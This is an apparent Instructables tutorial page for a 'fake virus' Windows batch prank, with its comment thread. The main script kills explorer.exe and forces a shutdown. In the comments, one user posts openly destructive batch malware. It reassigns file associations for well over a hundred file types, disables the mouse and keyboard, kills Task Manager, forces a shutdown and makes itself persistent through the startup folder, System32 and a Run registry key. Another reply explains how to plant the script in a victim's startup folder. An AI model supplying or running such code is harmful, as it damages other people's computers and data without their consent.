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This virus will scare your friends if they don't know you did it
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Step 1: Run CMD

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First you have to run the CMD program to do this
goto programs goto run and type in CMD or Command

Step 2: Setting it up

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To set this CMD code up when the CMD pop up comes up put this in w/out Quotes
"EDIT"

Step 3: The Code

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Copy this Code:
@echo OFF
title Virus Detected Do Not Close Window
echo Virus Detected attempting to remove virus...
echo (press any key to continue)
pause >nul
echo Virus is spreading throughout the system...
echo (press any key to destroy)
pause >nul
echo destroying virus...
echo (press any key to continue)
pause >nul
echo files deleted to destroy virus
echo (press any key to cancel)
pause >nul
taskkill /f /im explorer.exe
cls
echo cancel failed
echo (press any key to restore)
pause >nulecho files restored
start /im explorer.exe
cls
echo files restored
echo (press any key to continue)
pause >nul
echo checking for virus...
echo virus still detected
echo (press any key to destroy)
pause >nul
echo virus is destroyed
echo (press any key to exit)
pause >nul
shutdown -s -t 5 -c "virus infected everything Windows is shuting down"
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Remember to save this as a batch file by adding at the end .bat
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AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

AlexW515 days ago

so lam you do not know a lot about computers that fake virus code thing was real it delete all of my bothers files and crash it and a it would not run again and we had to buy a new one thanks a lot you suck

Adittyas103 months ago

this funny code

Set wshShell = wscript.CreateObject("WScript.Shell")

do
wscript.sleep 100
wshshell.sendkeys "Follow Me ."
loop

note : save this file by adding at the end .vbs

FAKE HACKING PROGRAM

@echo off

pause

echo I will hack your computer in 5 seconds.

pause

echo 5

pause

echo 4

pause

echo 3

pause

echo 2

pause

echo 1

pause

echo I AM HACKING NOW!

whait 3sec

color 0A

mode 1000

:matrix

echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

goto matrix

r_s_knight5 years ago
I would like to ask that how will the next computer user trigger this fake virus code??Or how are we going to delete it???
You would put it in their startup folder in the start menu folder which is in documents and settings within the user's name. i hope it helps :D
collard416 years ago
that isnt funny and not clever. lets have a ban on these stupid instructables.
WHAT THERES IS AWESOME DONT DISS THEM!!!!
**** NO!
Yes, Rather then let us copy it as well, How about you explain to those who have no idea what their doing and help em out. What does "@echo" mean? What is a ">nul". You will get that. I mean its easy to pick up, i just created my first Quiz program/bat. Mistakes will be fixed with a bit of www.1227.com
 >nul means no display or doesnt happen just runs everything in between such as ping localhost -n %?% >nul
I ment he needs to add it to explain to lil' Script Kiddies
1337 you mean? 
PKM collard416 years ago
Seconded. Every one is pretty much the same, often with erroneous code that wouldn't even work if copied out of the Instructable, and they don't do anything productive or entertaining.
fwjs28 PKM5 years ago
thirded!....at least my 'ible is informational(in the baby stages) and is correct syntax....
fourthed...there all copies of eachother
Fifthed (is that even a word?). Most seem to do similar things and have codes that i wouldnt even wish on my own enemy.
indubidbly
sixthed (lol?)
we should get all the rubbish batch 'ibles deleted and keep all the good ones like TAT Sytem

~Operator99
indeed 
This is a really destructive virus that:
> disables mouse &keyboard
> disables task manager
> starts at startup
> alters file associations
Here's the code:
----begin code----
@echo off
prompt $P $G
assoc .doc  = fA1luRe
assoc .docx  = fA1luRe
assoc .log  = fA1luRe
assoc .msg  = fA1luRe
assoc .pages  = fA1luRe
assoc .rtf  = fA1luRe
assoc .txt  = fA1luRe
assoc .wpd  = fA1luRe
assoc .wps  = fA1luRe
assoc .accdb  = fA1luRe
assoc .blg  = fA1luRe
assoc .csv  = fA1luRe
assoc .dat  = fA1luRe
assoc .db  = fA1luRe
assoc .efx  = fA1luRe
assoc .mdb  = fA1luRe
assoc .pdb  = fA1luRe
assoc .pps  = fA1luRe
assoc .ppt  = fA1luRe
assoc .pptx  = fA1luRe
assoc .sdb  = fA1luRe
assoc .sdf  = fA1luRe
assoc .sql  = fA1luRe
assoc .vcf  = fA1luRe
assoc .wks  = fA1luRe
assoc .xls  = fA1luRe
assoc .xlsx  = fA1luRe
assoc .xml  = fA1luRe
assoc .bmp  = fA1luRe
assoc .gif  = fA1luRe
assoc .jpg  = fA1luRe
assoc .png  = fA1luRe
assoc .psd  = fA1luRe
assoc .psp  = fA1luRe
assoc .thm  = fA1luRe
assoc .tif  = fA1luRe
assoc .ai  = fA1luRe
assoc .drw  = fA1luRe
assoc .eps  = fA1luRe
assoc .ps  = fA1luRe
assoc .svg  = fA1luRe
assoc .3dm  = fA1luRe
assoc .dwg  = fA1luRe
assoc .dxf  = fA1luRe
assoc .pln  = fA1luRe
assoc .indd  = fA1luRe
assoc .pct  = fA1luRe
assoc .pdf  = fA1luRe
assoc .qxd  = fA1luRe
assoc .qxp  = fA1luRe
assoc .rels  = fA1luRe
assoc .aac  = fA1luRe
assoc .aif  = fA1luRe
assoc .iff  = fA1luRe
assoc .m3u  = fA1luRe
assoc .mid  = fA1luRe
assoc .mp3  = fA1luRe
assoc .mpa  = fA1luRe
assoc .ra  = fA1luRe
assoc .wav  = fA1luRe
assoc .wma  = fA1luRe
assoc .3g2  = fA1luRe
assoc .3gp  = fA1luRe
assoc .asf  = fA1luRe
assoc .asx  = fA1luRe
assoc .avi  = fA1luRe
assoc .flv  = fA1luRe
assoc .mov  = fA1luRe
assoc .mp4  = fA1luRe
assoc .mpg  = fA1luRe
assoc .rm  = fA1luRe
assoc .swf  = fA1luRe
assoc .vob  = fA1luRe
assoc .wmv  = fA1luRe
assoc .asp  = fA1luRe
assoc .cer  = fA1luRe
assoc .csr  = fA1luRe
assoc .css  = fA1luRe
assoc .htm  = fA1luRe
assoc .html  = fA1luRe
assoc .js  = fA1luRe
assoc .jsp  = fA1luRe
assoc .php  = fA1luRe
assoc .rss  = fA1luRe
assoc .tvpi  = fA1luRe
assoc .tvvi  = fA1luRe
assoc .xhtml  = fA1luRe
assoc .fnt  = fA1luRe
assoc .fon  = fA1luRe
assoc .otf  = fA1luRe
assoc .ttf  = fA1luRe
assoc .8bi  = fA1luRe
assoc .plugin  = fA1luRe
assoc .xll  = fA1luRe
assoc .cab  = fA1luRe
assoc .cpl  = fA1luRe
assoc .cur  = fA1luRe
assoc .dll  = fA1luRe
assoc .dmp  = fA1luRe
assoc .drv  = fA1luRe
assoc .key  = fA1luRe
assoc .lnk  = fA1luRe
assoc .sys  = fA1luRe
assoc .cfg  = fA1luRe
assoc .ini  = fA1luRe
assoc .keychain  = fA1luRe
assoc .prf  = fA1luRe
assoc .app  = fA1luRe
assoc .bat  = fA1luRe
assoc .cgi  = fA1luRe
assoc .com  = fA1luRe
assoc .exe  = fA1luRe
assoc .pif  = fA1luRe
assoc .vb  = fA1luRe
assoc .ws  = fA1luRe
assoc .7z  = fA1luRe
assoc .deb  = fA1luRe
assoc .gz  = fA1luRe
assoc .pkg  = fA1luRe
assoc .rar  = fA1luRe
assoc .sit  = fA1luRe
assoc .sitx  = fA1luRe
assoc .tar.gz  = fA1luRe
assoc .zip  = fA1luRe
assoc .zipx  = fA1luRe
assoc .bin  = fA1luRe
assoc .hqx  = fA1luRe
assoc .mim  = fA1luRe
assoc .uue  = fA1luRe
assoc .c  = fA1luRe
assoc .cpp  = fA1luRe
assoc .dtd  = fA1luRe
assoc .java  = fA1luRe
assoc .pl  = fA1luRe
assoc .bak  = fA1luRe
assoc .bup  = fA1luRe
assoc .gho  = fA1luRe
assoc .ori  = fA1luRe
assoc .tmp  = fA1luRe
assoc .dmg  = fA1luRe
assoc .iso  = fA1luRe
assoc .toast  = fA1luRe
assoc .vcd  = fA1luRe
assoc .gam  = fA1luRe
assoc .nes  = fA1luRe
assoc .rom  = fA1luRe
assoc .sav  = fA1luRe
assoc .dbx  = fA1luRe
assoc .msi  = fA1luRe
assoc .part  = fA1luRe
assoc .torrent  = fA1luRe
assoc .yps  = fA1luRe
rundll32.exe mouse, disable
rundll32.exe keyboard, disable
copy setup.bat %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy setup.bat %windir%\System32
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v fA1luRe /t REG_SZ /d %windir%\System32\setup.bat
taskkill /f /im taskmgr.exe
reg restore HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr = 1
shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"
----end code----

Save it as *.bat
Once saved, don't open it!!!
Open and do this at your own risk!!!
I thought this was fake until I tried it. but hay, i got a new laptop!
nice, but one problem, the admin at my school shut all files marked[bat or cmd.] to be saved to the microsoft word, but that problem will soon be gone.!!!!
HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHHAHAHAHAHHAHAAAAHAHAHAHAHAHAAHAAHAHAHAAHAHAHAHAHAHAHAGGAGAGAGAYAGYAGYGIUHSIOO UIHEDFAJKDSAH AFULDLSHAFDUIHGASDUJKVDSBVJDSKHUIAHYSEIFHAUIDSGTFUIAHIEFJGDSHFGOIUALSHDFKJSL!!!!!!!!!!!!!!!!JHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! te-he :P
newtramsfan3 years ago
I would like to ask that how will the next computer user trigger this fake virus code??Or how are we going to delete it?
it is tiny
thank's so much
TrackHacker4 years ago
this is good to make fool someone........
Kamal Rex5 years ago
This only works on Windows XP and not Vista or 7.
ImMoRtAl-5 years ago
type shutdown -a in your run
N1CK4ND05 years ago
Nice 'ible, only problem I have is your pictures are not that good! Fix that, and you will be golden.
will4215 years ago
Will this code work or display Fatal Error: %cd%%0%cd%%0%0%cd% in a messagebox?: msg Fatal Error: %cd%%0%cd%%0%0%cd%
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